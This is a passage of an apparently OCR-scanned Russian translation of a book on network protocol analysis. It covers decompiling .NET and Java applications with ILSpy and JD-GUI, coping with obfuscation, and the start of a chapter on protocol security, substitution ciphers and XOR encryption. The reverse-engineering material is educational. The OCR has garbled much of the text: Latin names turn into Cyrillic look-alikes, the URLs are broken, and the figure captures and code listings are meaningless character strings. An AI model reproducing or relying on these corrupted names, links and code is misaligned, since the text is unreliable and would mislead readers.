метаданных, например названия классов и имена всех внутренних 
и внешних методов. Кроме того, в отличие от кода типа пайуе-сот- 
рИеа, вывод управляемых языков довольно предсказуем, что делает 
их идеальными выбором для декомпиляции. 

В следующих разделах мы рассмотрим, как упакованы приложения 
„МЕТ и ]ауа. Я также продемонстрирую несколько инструментов, ко- 
торые можно использовать для эффективной обратной разработки 
„МЕТ- и Јауа-приложений. 


Приложения .МЕТ 


Среда выполнения .МЕТ называется общеязыковой исполняющей сре- 
дой (СІК). Приложение .МЕТ использует эту среду, а также большую 
библиотеку базовых функций - библиотеку базовых классов (ВСІ). 

Хотя .МЕТ - это в первую очередь платформа М!сгозой Міпаомѕ 
(в конце концов, она разрабатывается М1сгозой), существует ряд 
других, более переносимых версий. Самая известная – проект Мопо, 
работающий в Опіх-подобных системах и охватывающий широкий 
спектр архитектур ЦП, включая 5РАВС и МТР5. 

Если вы посмотрите на файлы, распространяемые с приложением 
„МЕТ, то увидите файлы с расширениями .ехе и .@4 и вас простят, если 
вы предположите, что это просто обычные исполняемые файлы. Но 
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если загрузить их в дизассемблер х86, то вы увидите сообщение, по- 
добное тому, что показано на рис. 6.17. 


аѕѕипе еѕ:поёһіпд, 95: Гехі 


рчь1іс Тане 
5фагЕ ркос пеак 
_ СонЕХеМа1п 


100.00% (-61,-38) (92,10) ОООСОЗАЕ — 004С21АЕ: < 


Рис. 6.17. Исполняемый файл .МЕТ в дизассемблере х86 


Оказывается, МЕТ использует форматы файлов .ехе и .АИ только 
в качестве удобных контейнеров для кода СП.. В среде выполнения 
„МЕТ эти контейнеры называются сборками. 

Сборки содержат один или несколько классов, перечислений и/или 
структур. Для каждого типа используется название, обычно состоя- 
щее из пространства имен и короткого имени. Пространство имен 
снижает вероятность конфликта имен и также может быть полезно 
для категоризации. Например, все типы в пространстве имен Ѕуѕїет. 
Мег имеют дело с сетевыми функциями. 


Использование /1.5ру 


Вам редко, если вообще когда-либо, понадобится взаимодействовать 
с необработанным СІ, потому что такие инструменты, как ВеНес- 
ог (лрѕ:/Луууиу.геа-даїѓе.соту/ргоайисіѕ/аоїпеї-йеуеІортепі/гећесіог/) и П.5ру 
(пёр :/ЛІѕру.пеї/), могут декомпилировать данные СП, в исходный код 
С# или Уіѕџа] Ваѕіс и отобразить исходный код. Давайте посмотрим, 
как использовать П5ру, бесплатный инструмент с открытым исход- 
ным кодом, который можно применять для поиска сетевых функций 
приложения. На рис. 6.18 показан основной интерфейс П.5ру. 

Интерфейс разделен на два окна. Левое окно ® представляет собой 
список всех сборок в виде дерева, загруженных Пру. Можно развер- 
нуть это представление, чтобы увидеть пространства имен и типы, 
которые содержит сборка Ө. Правое окно показывает дизассембли- 
рованный исходный код ®. Развернутый вариант сборки, которую вы 
выбрали в левом окне, показан справа. 
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уа 
Ре Мем Нер 


оо -1р 


88-00 Ѕуѕіет.Хаті 


89 20 Ѕузіет.Хті ө 


// САМАРЕ .Рговгат о. 
[5ТАТһгеа@] 
ргімаїе ѕїаїіс моі Маіп(ѕїгіпе[] агвѕ) 


88-00 МИпдомизВазе 
8-29 РгезепанопСоге 
8-53 РгезегтанопЕгатемогк 
88-00 1С5һагрСоде.Тгее\іем 
8-00 Мопо,Сесії 
88-00 1СЅһагрСоде.АуаіопЕай 
8-00 1С5һагрСоде.Оесотрііег 
8-59 115ру 
8-3 САМАРЕ.бш 
8-4 Кеғегепсеѕ 
8-2 БКеѕошгсеѕ 
в {} - 
В {3} САМАРЕ 
=% Ргодгат [2] 
8 „2 Васе Туреѕ 
8% АррсаНоп_ТгеадЕхсерноп(оБес 
% Сиггепіротаіт_ ОпһћапаіедЕхсерёіс 
8% НапоіеЕхсеріїоп(Ехсеріїоп) : мої 
8% пинаГгеГапдцаде() : ої 
8% (пинаб2еЬгатес() : уоіа 
ЯФ КесізіегЕапог(Туре, Туре) : уоіа 
&® Сауебейіпд5() : мо 


1 САМАПС Сколе 


Рговгат. Іпіїіа1іте! апёцаве(); 
Ргоргат.Іпіїіа1іте! 16гаг1е5(); 

ѕёгіпв Ғі1еМате = пи11; 

1+ (бепега10+115.беїСопҒіврігесіогу(їгше) == пи11) 


р 
МеѕѕареВох. Ѕһом(зЁгіп=.Ғогта+(Веѕоигсеѕ.Рговгат ЕггогСгеаёіпЕЏѕег0- 
Епмігоптеп.Ехії(1) ; 


} 
іпё пит = 0; 
мһіЛе (пит < агрѕ.Гепв+һ && агр= [пит] .5+агъѕМі+Ь("-")) 
1+ (агр= [пит] . ЗтагЕ МЕ ("-ехЕ:")) 
САМАРЕЕхіепзіопМапавег .оадЕхіепѕіоп(агез[ пип] .5ирѕёгіпе("-ехі 
пшт++; 
1+ (пит < агрѕ.Гепвёһ) 
Ғі]еМате = агрѕ [пит]; 
е (!Ѕетііпеѕ .ОеҒаи1+.ВипОпсе) 


Ьоо1 сһесКҒогЏрда+еѕ = МеѕѕареВох. Ѕһћон(Веѕоигсеѕ.Рговгат СһесКҒогу 
Ѕеттіпрѕ .ОеҒаци1+ .ВипОпсе = Тгие; у 


‹ > ‹ Я 


Рис. 6.18. Основной интерфейс 1.5ру 


Для работы с .МЕТ-приложением загрузите его в П.5ру, нажав соче- 
тание клавиш СЫ1+0 и выбрав приложение в диалоговом окне. Если 
вы откроете основной исполняемый файл приложения, то П5ру дол- 
жен автоматически загружать любую сборку, на которую ссылаются 
в исполняемом файле по мере необходимости. 

Открыв приложение, можно выполнить поиск сетевых функций. 
Один из способов сделать это - найти типы и члены, имена которых 
похожи на сетевые функции. Чтобы найти все загруженные сборки, 
нажмите клавишу Ез. В правой части экрана должно появиться новое 
окно, как показано на рис. 6.19. 

Введите поисковый запрос ®, чтобы отфильтровать все загружен- 
ные типы и отобразить их в окне внизу. Вы также можете искать чле- 
ны или константы, выбрав их из раскрывающегося списка Ө. Напри- 
мер, для поиска строковых литералов выберите СопзтапЕ (Константа). 
Когда вы найдете запись, которую хотите изучить, например ТсрМ№е(- 
могКііѕіепег Ө, дважды щелкните по ней, и П.5ру должен автоматиче- 
ски декомпилировать тип или метод. 

Вместо прямого поиска определенных типов и членов также можно 
найдите приложение для областей, которые используют встроенную 
сеть или криптографические библиотеки. Библиотека базовых клас- 
сов содержит большой набор низкоуровневых АРІ сокетов и библио- 
тек для протоколов более высокого уровня, таких как НТТР и ЕТР. 
Если щелкнуть правой кнопкой мыши потипу или члену в левом окне 
и выбрать Апа[у2е (Анализировать), должно появиться новое окно, 
как показано в правой части рис. 6.20. 


170 глава 6 
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= 


Не Мем Нар 


оове 


88-090 'СбвагрСодеЛтееМем 
8-00 Мопо.Сесй 
8-23 |С5ВагрСоде.АуаюпЕЧИ 
8-23 1СЅһагрСоде,Ресотріїег 
8-00 15ру 
89 02 САМАРЕ. биі 
88-00 Ѕуѕіет.Огаміпд 
9-0 САМАРЕ 
89 -00 САМАРЕ, Бхіепзіоп 
8-02 САМАРЕ, Сопігоіѕ 
в-а САМАРЕ. МеЕ 
8 Веғегепсеѕ 
а 0 Һеѕошсез 
в} - 
| №0 САМАРЕ. РаёаАаарїег= 
{} САМАРЕ.Ооситепіѕ.Мег 


ТСР @ 


х | Ѕеагсһ ог: | $ Туре [2] м 


Е Тербайе 

$ РсарКеаЧег.ТсрРаскеЕ 
$ РсарКеайег.ТсрСотрагег 
$$ терСііепіРаіаАбаріег 

9$ ТсризіепегаѓаАйарќег 
$ тсрМермокііѕїепег [3] 
Фе ТепргслаиС Вет Расногы 


{} будет. Ме Меѓмогкіпѓоттабоп 
9$ САМАРЕЛАИ5.РсарКеаЧег 
9$ САМАРЕЛАИ5.РсарКеаЧег 

{} САМАРЕ.РгёаАдарќег= 
{} САМАРЕ, Ме.байзАдарег; 
{} САМАРЕ. Ме. епегу 


{} САМАРЕ Поспипеюе Ме+ Расфона Ў 


^ 


Н ч53п5 Е 


ТН 


{ 


Е] патезрасе САМАРЕ .М№ет.! іѕепег= 


риЬ1їс с1аз5 ТерМеёногКі іѕёепег : 


ІМе+могКі іѕ+епег, І0іѕроѕађ1е 


{) САМАРЕ. Ме 

{) САМАРЕ.МеьСйеть 
8-{} САМАРЕ,М№е.аѓаАдарќег= 
 {} САМАРЕ. Ме? Ғійеге 


8-{) САМАРЕ, Ме: ауегз 
9-4} САМАРЕ, М№её.іѕїепегз й 


#% АддгедаеМебмоткИепег 
= % СПегпЕСоппестедЕмей Аг 
8 © |МевлогкИзепег 

# 9$ Мапиа!Мевмог Из епег 


ргімае 6001 _іѕЅ+агёед; 

ргімаёе Тсрііѕепег _1іѕ+епег; 

рғімате Іорвег _Лорвег; 

ргіма+е 1і5+<ТсрС1іепё> _репіпе; 

ргімате Боо1 _аџтоВіпа; 

ргімае Боо1 поде1ау; 

руБ11с емеп+ ЕмепНапа1ег<С1іеп+СоппесёедЕуепЁАгв5> С1іепЕСоппесёей; 
риЬ1їс ІРЕпаРоіпе ЕпаРоіпў. .) 

ргіма+е ІРЕпіРоіпё Виї10Епароїп (Боо1 апуВіпа, Боо1 іруб, іп рог+)[..] 


бе 


З#Н#Н#Н 


Рис. 6.19. Окно поиска Ш5ру 


т] 115ру 
Ре Мем Нар 
-1Р В 
ЋесеіуеТітеоџё: іпё ^ // зузкет.МеЕ.зоске® .Терс1їепе ^ 
— [97 бепавиНег$ ве: и НИ// <ѕиттагу>Соппесіѕ Не с1іепі о а гетофе ТСР НозЕ иѕіпв Не ѕресіҒіей ІР айдгеѕѕ а 
Залата Е риБ1іс усіа Соппесі(ІРАбдгеѕѕ абйгеѕѕ, іпі рог+) 


„сіог(ІРЕпаРоіпћ) : моіа 
„сво : уоіа 
„сіог(Ааагеѕ5Ғатіу) : моїа 
„сіог(зїгіпд, іпё) : мо 
.сіог(Ѕоскеї) : моі 
ВедіпСоппесі(зігіпо, іп, Аз, 
ВедіпСоппесі(!РАйагеѕз, іпі 
ВедіпСоппесІРАаагеѕ=[], і 
Сіоѕе() : моіа 


Ф0060060 60 


3% Соппес{РЕпаРойп) : уоіа 
= СоппесРАЧагез[|, іпё) : 
2$ СоппесіАѕупс1РАйагеѕѕ, і 
=Ф СоппесіАзупс(ѕігіпо, іп) : 
= СоппесіАѕупс(ІРАаагеѕѕ]], 1 
$ 05 розе(6001) : моіа 
2% ЕһаСоппесі1АѕупсКеѕић) : : 

— <? Ғпаһге() : моі 

Ф СеіЅігеат() : Мебмогібігеат 

— &® іпібаїігеб) : усій 
@® питегісОріоп(Ѕоске:Оріо 
@® Ѕузієт.10іѕроѕаЫе.Оїѕроѕе(. б 


> 


1+ (іоввіпв.Оп) 
{ 


Іоввіпв.Епіег(оввіпв.Ѕоскеїѕ, 414$, "Соппесі", ад4гез$); у 


9 Я узет, №е!.Ѕоскеіѕ.ТсрСіепе @ ^ 
В А пявпбаед Ву 
89--# САМАРЕ.Ме+ СПепёѕ.НєррРгохуСїепё.Соппесі(РгохуТокеп, Годдег, Меѓабісіїопагу, Меѓарісіїопагу, Рго 
8 &® САМАРЕ. Ме. Сіепёѕ1рРгохуСііепі.СоппесТср(ірРгохуТокеп, Годдег, РгорепуВад) : ІОаѓаАйарќег 
88 -@ САМАРЕ. Ме. Сіепїѕ,ЅоскРгохуСііепї.Соппесі(РгохуТокеп, [оддег, Меѓаісіїопагу, МеѓаГісіїопагу, Рго 
С) Ѕуѕіет.Меї.Ѕоскеіѕ.Тсріѕіепег.АссерЕТсрСепі() : ТерСйепЕ 
8 =® букет. Ме. боскев Л ерИзвепегЕпАссерЕ ТерСИеп ИАзупсВезий) : ТерСіїепё 
В-Ы Ехроѕеа Ву 


— < Ехфепѕіоп 


Е Шеа Ву 
Е &® САМАРЕ Мег. Сіїепіѕ1ррРгохуСіїепі.Соппес+Т ср(ірРгохуТокеп, Годдег, РгорепуВад) : ІОаїаАйарїег 
ЕУ Ше 
8-8® САМАРЕ.Меё.Сііепіѕ.ІрРгохуСіепёІ5ТокепірУ6(1рРгохуТокеп) : Боо! © 
= -® Ѕуѕёет.Меї.Ѕоскеї.ТерСепі..сЁог(Ааагес<Ғатіу) : моі 


Рис. 6.20. 11 5ру анализирует тип 


Оно представляет собой дерево, которое при раскрытии показыва- 
ет типы анализов, которые можно выполнить для элемента, выбран- 
ного вами в левом окне. Параметры будут зависеть от того, что вы 
выбрали для анализа. Например, при анализе типа ® показано три 
опции, хотя обычно нужно использовать только две следующие фор- 


мы анализа: 
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• Іпѕїапііаїеа Ву - показывает, какие методы создают новые эк- 
земпляры этого типа; 


е Ехроѕеа Ву — показывает, какие методы или свойства использу- 
ют этот тип в своих объявлениях или параметрах. 


Если вы анализируете член, метод или свойство, то у вас будет две 
опции Ө: 


• 05е$ – показывает, какие другие члены или типы используют вы- 
бранный член; 


• Оѕеа Ву - показывает, какие другие члены используют выбран- 
ный член. 


Можно развернуть все записи ®. 

И это почти все, что нужно для статического анализа приложения 
„МЕТ. Найдите интересующий вас код, изучите декомпилированный 
код, а затем приступайте к анализу сетевого протокола. 


Большая часть основных функций „МЕТ находится 
в библиотеке базовых классов, распространяемой со средой выполнения 
„МЕТ и доступной для всех приложений .МЕТ. Сборки в ВСІ, предостав- 
ляют несколько базовых сетевых и криптографических библиотек, ко- 
торые могут понадобиться приложениям, если они реализуют сетевой 
протокол. Ищите области, которые ссылаются на типы в простран- 
ствах имен Ѕуѕёет.№еї и ЅуѕЁет. Ѕесигіёу. Сгуродгарћһу. В основном они 
реализованы в сборках МЅСОКІІВ и 5уяет. Если вы сможете отследить 
вызовы этих важных АРІ, то узнаете, где приложение обрабатывает 
сетевой протокол. 


Приложения Лауа 


Приложения Јауа отличаются от приложений .МЕТ тем, что компиля- 
тор Јауа не объединяет все типы в один файл; вместо этого он компи- 
лирует каждый файл с исходным кодом в один файл с расширением 
.сІаѕ5. Поскольку такие файлы в каталогах файловой системы не очень 
удобно переносить из одной системы в другую, приложения ]ауа часто 
упаковываются в архив Јауа или ЈАК. Файл ЈАК - это просто 71Р-файл 
с несколькими дополнительными файлами для поддержки среды вы- 
полнения Јауа. На рис. 6.21 показан файл ЈАК, открытый в архиваторе 
7-21р. 

Для декомпиляции программ на языке Јауа я рекомендую исполь- 
зовать Ј0-СІЛ (һіѓр;/а.Бепои.са/), который работает практически так 
же, как П.Зру при декомпиляции приложений .№ЕТ. Я не буду подроб- 
но останавливаться на его использовании, а просто выделю несколь- 
ко важных областей пользовательского интерфейса на рис. 6.22, что- 
бы помочь вам быстрее освоиться. 
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89 С\зоигсесоде\МетмогкСнеп\ а \\МемогкСнепаи\сог\сотрапу\ = © 
| іе Еак Мем Ғауогќеѕ Тоо Нар | 


фу хі 


Ада Ехігасі Теѕї Сору Моме Оеіеѓеы Іпѓо 


ё № слзошгсесоае\МељчогкСїепё\ аі \МемуогкСіепё јађсот\сотрапу\ м 


Мате г Раскед Ѕіге Модед Сгеаѓей 


МеђуогкСііепї,сіаѕѕ 2096 2014-03-08 16:10 


[ 1 ргоосоРаске.Ча5$ 573 2014-03-08 16:10 
[№ Ргоѓосо!Рагѕег.сіаѕѕ 812 2014-03-08 16:10 


1 оБјесі(5) ѕеіесіед 2 096 2 096 2014-03-08 16:10 


Рис. 6.21. Пример файла ЈАК, открытого с помощью архиватора 


5 СгурїоАІРегтіѕѕіопСоесіїоп.сіаѕѕ - Јауа Оесотріїег — х 
Не Еаї МамдаНоп Ѕеагсһ Нер 
= | ® 97| > % 
ё јсе.јаг22 о 
Е МЕТА-ІМР Р ссі Я ра 
8 іауахсуро Ө $ СгурќоАПРегтіѕеіопСо!іесїоп.даѕѕ:: ©) 
а іпќегѓасеѕ ехїепаѕ РегтіззіопСої1есёіоп ^ 
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ө айф(Регтіѕѕіоп) : уоіа + (рагатРегтіѕѕіоп != Сг. 211Регтіззіоп.ІМЅТАМСЕ) { 
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ә ітрііеѕ(Регтіѕеіоп) : Бооіеап } 
88-0 СгурќоРегтіѕѕіоп.сіаѕ5 47 {115.211 а11оней = гие; ө 
Ф СгурёоРегтіѕѕіопСоесіоп.@а55 } 
89 {0 СгурќоРегтіѕѕіопѕ.@а55 А и с. КЄ 
8 СгурќоРоіісуРагѕег., ааѕѕ риь1іс Боо1еап ітр1іеѕ(Регтіѕѕіоп рагатРегтіѕѕіоп) 
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8-0) Шеда!ВіоскбігеЕхсеріоп.даѕѕ ыы гебигп {915 а 2110ме9; 
88-09 ЈагМегійег.са55 ? 
Е рН Вы риб1їс Епипегаёіоп‹Регтіѕѕіоп> е1етепёз() 
ч е ‹ 
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8-0) Кеубепегаог.Чаз$ и 


Рис. 6.22. 2-СИ! с открытым файлом ЛАК 


На рис. 6.22 показан пользовательский интерфейс Јр-С0Л при от- 
крытии файла јсе.јаг ©, который устанавливается по умолчанию при 
установке Јауа. Обычно его можно найти в каталоге /АУАНОМЕЛ. 
Вы можете открывать отдельные файлы с расширением .сІа55 или 
несколько ЈАК-файлов за один раз в зависимости от структуры при- 
ложения, которое является целью обратной разработки. Когда вы от- 
крываете ]АВ-файл, Јр-СЛ анализирует метаданные, а также список 
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классов, которые будут представлены в древовидной структуре. На 
рис. 6.22 мы видим два важных элемента информации, которые из- 
влек О-СТТ. Во-первых, это пакет /ауах.сгурю Ө, который определяет 
классы для различных криптографических операций ]ауа. Под назва- 
нием пакета находится список классов, определенных в этом пакете, 
например СгурёоА11РегтіѕѕіопСо1Лесёіоп.с1аѕѕ Ө. Если щелкнуть по 
имени класса в левом окне, то справа отобразится декомпилирован- 
ная версия класса ®. Можно прокрутить декомпилированный код или 
щелкнуть по полям и методам, предоставляемым классом Ө, чтобы 
перейти к ним. 

Вторая важная вещь, на которую следует обратить внимание, – 
по любому идентификатору, подчеркнутому в декомпилированном 
коде, можно щелкнуть мышью и перейти к определению. 

Если щелкнуть по подчеркнутому идентификатору а\_аоме4 Ө, 
то вы перейдете к определению поля а11_а\1омеа в текущем деком- 
пилированном классе. 


Работа с обфускацией 


Все метаданные, включенные в типичное приложение „МЕТ или Јауа, 
упрощают специалистам по обратной разработке задачу по опреде- 
лению того, что делает приложение. Однако разработчикам коммер- 
ческих приложений, использующим специальные сетевые протоколы 
с «секретным соусом», не нравится тот факт, что эти приложения на- 
много проще перепроектировать. Простота декомпиляции этих языков 
также делает относительно простым обнаружение ужасных дыр в систе- 
ме безопасности в пользовательских сетевых протоколах. Некоторым 
разработчикам может не понравиться, что вы это знаете, поэтому они 
используют запутывание или обфускацию как средство безопасности. 

Вы, вероятно, столкнетесь с приложениями, чей код запутывается 
намеренно с помощью таких инструментов, как РгоСиата для ]ауа или 
"Роѓѓиѕсаѓог для .МЕТ. Эти инструменты применяют различные моди- 
фикации к скомпилированному приложению, которые предназна- 
чены для того, чтобы помешать обратной разработке. Модификация 
может быть такой же простой, как изменение всех имен типов и ме- 
тодов на бессмысленные значения, или может быть более сложной, 
например с использованием дешифрования строк и кода во время 
выполнения. Каким бы ни был метод, обфускация затруднит деком- 
пиляцию кода. Например, на рис. 6.23 показан исходный класс ]ауа 
иего обфусцированная версия, которая была получена после того, как 
его прогнали через РгоСчага. 

Если вы столкнулись с подобным приложением, возможно, будет 
сложно определить, что оно делает, с помощью обычных декомпиля- 
торов. В конце концов, в этом и состоит смысл запутывания. Однако 
вот несколько советов, которыми можно воспользоваться: 


• имейте в виду, что типы и методы внешних библиотек (напри- 
мер, библиотеки основных классов) нельзя обфусцировать. Вы- 
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зовы АРІ сокетов должны находиться в приложении, если оно 
работает в сети, поэтому ищите их; 


• поскольку файлы .МЕТ и ]ауа легко загружать и выполнять дина- 
мически, можно написать простую тестовую программу для за- 
грузки запутанного приложения и запустить процедуры дешиф- 
рования строки или кода; 


• максимально используйте динамический анализ для проверки 
типов во время выполнения, чтобы определить, для чего они ис- 
пользуются. 


раскаче сот. сотрапу; раскаде сот.сотрапу; 


ішрот ]ауа.1о.ПасаТпрас5сгеаю; шрот јауа.іо.ратаїприс5тгеащ; 


рир1іс с1азз Ргофосо1Рагзеге ршр1іс Е1па1 с1азз с 


1 1 
ретуабе Гіпа1 ПатаїІприт5ігеат зіц; регуабе Ғіпа1 ратаІприт5тгеаљ а; 


рир1іс Рготосо1Рагзег (ВасаТпрас5сгеаю эст) роь1іс с (ПасаТпрас5сгеаю рагатратаїІприсЗігеат) 
Енуомз ІОЕхсертіоп 4 
1 +һіз.а = рагашратаТороеекеав; 
613. зіп = зїіщ; } 
} 
роь1іс Е1па1 Ь а() 
рор1іс Ргоосо1Раскеї геайРаскет (} 4 
Ұһүоуз І0ОЕнхсеръіоп іп і = ЕҺіз.а.геайїпу(); 
4 іп ј; 
11 смі = 6513. зтт.геааїпт() ғ Ъубе[] аггауоЕВусе = печ рубе[ј = іћіз.а.геайїпі()]: 
іп 1еп = іһћіз. зіт.геадїпі() ; їћіз.а.геайғо11у (аггауОЕВуте); 
тебики пез 6(1, акгауоЕВуее); 
Ьубе[] баса = пем Ьубе[1еп]; 


піз. асп. геайғо11у(дата); 


тебаги пем Ргофосо1Раскес (спі, дата); 


Исходный код Обфусцированный код 


Рис. 6.23. Сравнение исходного и обфусцированного файлов 


Ресурсы 


Следующие адреса обеспечивают доступ к отличным информацион- 
ным ресурсам по программному обеспечению для обратной разра- 
ботки. Они предоставляют более подробную информацию по обрат- 
ной разработке или другим связанным темам, таким как форматы 
исполняемых файлов: 


• форумы ОрепВСЕ: ИНр//мимиорепгсе.ога/; 
• формат ЕЕ: Ар ;//еѓресѕ.!іпихђаѕе.ога/еІұ/еіраЕ, 
• формат тасОѕ Масһ-О: Аірѕ;/Луер.агсһіме.ога/мер/20090901205800/; 


• формат файла РЕ: һ11р5;//10с5.тісгоѕоћ.сот/и-гиЛміпаоуѕ//міп3 2/4е- 
рид/ре-јогтаї?гейігесіеаўгот=М5р№М. 


Для получения дополнительной информации об инструментах, ис- 
пользуемых в этой главе, включая сайты, где их можно скачать, обра- 
титесь к приложению А. 
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Заключительное слово 


Обратная разработка требует времени и терпения, поэтому не рас- 
считывайте изучить ее в одночасье. Требуется время, чтобы понять, 
как операционная система и архитектура работают вместе, распутать 
беспорядок, который оптимизированный код С может создать в диз- 
ассемблере, и статически проанализировать декомпилированный 
код. Надеюсь, я дал вам несколько полезных советов по обратной раз- 
работке исполняемого файла, чтобы найти код сетевого протокола. 

Лучший подход при обратной разработке - начать с небольших 
исполняемых файлов, которые вы уже понимаете. Вы можете срав- 
нить исходный код этих файлов с дизассемблированным машинным 
кодом, чтобы лучше понять, как компилятор транслировал исходный 
язык программирования. 

Конечно, не забывайте о динамическом обратном инжиниринге 
и использовании отладчика по возможности. Иногда простой запуск 
кода будет более эффективным методом, чем статический анализ. 
Пошаговое выполнение программы не только поможет вам лучше по- 
нять, как работает архитектура компьютера, но и позволит полностью 
проанализировать небольшой участок кода. Если вам повезет, то вы 
сможете проанализировать исполняемый файл, написанный на .МЕТ 
или ]ауа, с помощью одного из множества доступных инструментов. 
Конечно, если разработчик запутал исполняемый файл, то анализ 
станет труднее, но это часть удовольствия, которое получаешь от об- 
ратной разработки. 


БЕЗОПАСНОСТЬ 
СЕТЕВОГО ПРОТОКОЛА 


етевые протоколы передают информацию между участниками 

в сети, и существует большая вероятность, что эта информация 

конфиденциальна. Независимо от того, включает ли эта инфор- 
мация данные кредитной карты или совершенно секретные сведения 
от государственных систем, важно обеспечить ее безопасность. Ин- 
женеры учитывают множество требований к безопасности при изна- 
чальной разработке протокола, но уязвимости часто обнаруживаются 
со временем, особенно когда протокол используется в общедоступ- 
ных сетях, где любой, кто отслеживает трафик, может атаковать сеть. 

Все безопасные протоколы должны делать следующее: 


е поддерживать конфиденциальность данных, защищая данные 
от чтения; 


• поддерживать целостность данных, защищая данные от изме- 
нения; 


• не позволять злоумышленнику выдавать себя за сервер, реали- 
зуя проверку подлинности сервера; 
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• не позволять злоумышленнику выдавать себя за клиента, реали- 
зуя проверку подлинности клиента. 


В этой главе мы обсудим, как эти четыре требования выполняют- 
ся в распространенных сетевых протоколах, выявим потенциальные 
слабые места, на которые следует обращать внимание при анализе 
протокола, и увидим, как эти требования реализуются в реальном 
безопасном протоколе. В следующих главах я расскажу, как опреде- 
лить, какой протокол используется для шифрования и какие недо- 
статки следует искать. 

Область криптографии включает в себя два важных метода, кото- 
рые используют многие сетевые протоколы, оба из которых тем или 
иным образом защищают данные или протокол: шифрование обеспе- 
чивает конфиденциальность данных, а подпись - целостность данных 
и аутентификацию. 

Безопасные сетевые протоколы широко используют шифрование 
и подпись, но криптографию бывает сложно реализовать правильно: 
часто встречаются ошибки реализации и проектирования, приводя- 
щие к уязвимостям, которые могут нарушить безопасность прото- 
кола. Анализируя протокол, вы должны иметь четкое представление 
о задействованных технологиях и алгоритмах, чтобы можно было об- 
наружить и даже эксплуатировать серьезные уязвимости. Для нача- 
ла рассмотрим шифрование, чтобы увидеть, как ошибки реализации 
могут поставить под угрозу безопасность приложения. 


Алгоритмы шифрования 


История шифрования насчитывает тысячи лет, и, поскольку элект- 
ронные коммуникации стало легче контролировать, шифрование 
стало значительно более важным. Современные алгоритмы шифро- 
вания часто основываются на очень сложных математических моде- 
лях. Однако то, что протокол использует сложные алгоритмы, еще не 
означает, что он безопасен. 

Обычно мы называем алгоритм шифрования шифром или кодом 
в зависимости от его структуры. При обсуждении операции шифро- 
вания исходное незашифрованное сообщение называется обычным 
текстом. Результатом работы алгоритма шифрования является за- 
шифрованное сообщение, которое называется шифротекст. Боль- 
шинству алгоритмов также нужен ключ для шифрования и дешиф- 
рования. Попытка взломать или ослабить алгоритм шифрования 
называется криптоанализом. 

Оказалось, что у многих алгоритмов, которые когда-то считались 
безопасными, есть многочисленные слабые места, и в них даже мож- 
но найти лазейки. Отчасти это связано с огромным увеличением 
производительности вычислений с момента изобретения таких ал- 
горитмов (некоторые из которых относятся к 1970-м годам), делая 
осуществимыми атаки, которые мы когда-то считали возможными 
только в теории. 
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Если вы хотите взломать защищенные сетевые протоколы, не- 
обходимо понимать хорошо известные криптографические алго- 
ритмы и знать, где их слабые места. Шифрование не обязательно 
требует сложной математики. Некоторые алгоритмы используются 
только для обфускации структуры протокола в сети. Например, это 
могут быть строки или числа. Конечно, если алгоритм прост, то его 
безопасность в целом низкая. Как только механизм запутывания 
будет обнаружен, он уже не сможет обеспечить никакой реальной 
безопасности. 

Здесь я приведу обзор некоторых распространенных алгоритмов 
шифрования, но не буду подробно останавливаться на их конструк- 
ции, потому что при анализе протокола нужно только понять исполь- 
зуемый алгоритм. 


Подстановочные шифры 


Подстановочный шифр - это простейшая форма шифрования. Под- 
становочные шифры используют алгоритм для шифрования значе- 
ния на базе таблицы подстановки, которая содержит взаимно одно- 
значное соответствие между открытым текстом и соответствующим 
значением шифротекста, как показано на рис. 7.1. Чтобы расшифро- 
вать зашифрованный текст, используется обратный процесс: значе- 
ние шифра ищется в таблице (которая была «перевернута»), и воспро- 
изводится исходное значение открытого текста. На рис. 7.1 показан 
пример подстановочного шифра. 


Открытый текст 


Таблица подстановки 


Рис. 71. Шифрование с использованием подстановочного шифра 


На рис. 7.1 утаблицы подстановки (обозначенной как простой при- 
мер) есть шесть определенных замен, показанных справа. В полном 
подстановочном шифре, как правило, определяется гораздо больше 
замен. Во время шифрования первая буква выбирается из открытого 
текста, а подстановка букв открытого текста затем ищется в табли- 
це подстановок. Здесь буква Н в слове НЕШО заменяется буквой Х. 
Этот процесс продолжается до тех пор, пока не будут зашифрованы 
все буквы. 
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Хотя подстановка может обеспечить адекватную защиту от слу- 
чайных атак, она не выдерживает криптоанализа. Частотный ана- 
лиз обычно используется для взлома подстановочных шифров путем 
сопоставления частоты символов, обнаруженных в зашифрованном 
тексте, с теми, которые обычно встречаются в наборах данных с от- 
крытым текстом. Например, если шифр защищает сообщение, напи- 
санное на английском языке, то частотный анализ может определить 
частоту использования определенных распространенных букв, зна- 
ков препинания и цифр в большом объеме письменных работ. По- 
скольку буква Е является наиболее распространенной в английском 
языке, то, по всей вероятности, наиболее часто встречающийся сим- 
вол в зашифрованном сообщении будет представлять Е. Следуя этому 
процессу до его логического завершения, можно создать исходную 
таблицу и расшифровать сообщение. 


ХОР-шифрование 


Алгоритм ХОВ-шифрования - очень простой метод шифрования 
и дешифрования данных. Он применяет побитовую операцию ХОК 
между байтом открытого текста и байтом ключа, в результате чего 
получается шифротекст. Например, для байта 0х48 и байта ключа 0х82 
результат будет выглядеть так: ОхСА. 

Поскольку ХОВ-шифрование является симметричным, при приме- 
нении одного и того же ключевого байта к зашифрованному тексту 
возвращается исходный открытый текст. На рис. 7.2 показано ХОК- 
шифрование с однобайтовым ключом. 


А р вн р е рео" № 
Открытый текст 0х48 0х65 0х6С | 0х6С ОхбЕ 


Операция ХОК 


Фиксированный ключ 


Шифротекст ОХЕЕ | ОхЕЕ | 0хЕБ 


Рис. 7.2. ХОК-шифрование с однобайтовым ключом 


Указание однобайтового ключа делает этот алгоритм шифрования 
очень простым и небезопасным. Злоумышленнику не составит тру- 
да опробовать все 256 возможных значений ключа, чтобы получить 
открытый текст, и увеличение размера ключа не поможет. Посколь- 
ку ХОВ-шифрование является симметричным, здесь может исполь- 
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зоваться известный открытый текст для определения ключа. Имея 
достаточно известного открытого текста, можно вычислить ключ 
и применить его к остальной части зашифрованного текста, чтобы 
расшифровать все сообщение. 

Единственный способ безопасно использовать ХОВ-шифрование - 
когда ключ имеет тот же размер, что и сообщение, и значения в ключе 
выбираются случайным образом. Такой подход называется крипто- 
система одноразовых блокнотов, и его довольно сложно взломать. 
Если злоумышленник знает даже небольшую часть открытого текста, 
он не сможет определить полный ключ. Единственный способ восста- 
новить ключ - знать весь открытый текст сообщения; в таком случае, 
очевидно, злоумышленнику не потребуется восстанавливать ключ. 

К сожалению, криптосистема одноразовых блокнотов имеет зна- 
чительные проблемы, и она редко используется на практике. Одна 
из проблем заключается в том, что при использовании одноразового 
блокнота отправляемый вами набор ключей должен быть того же раз- 
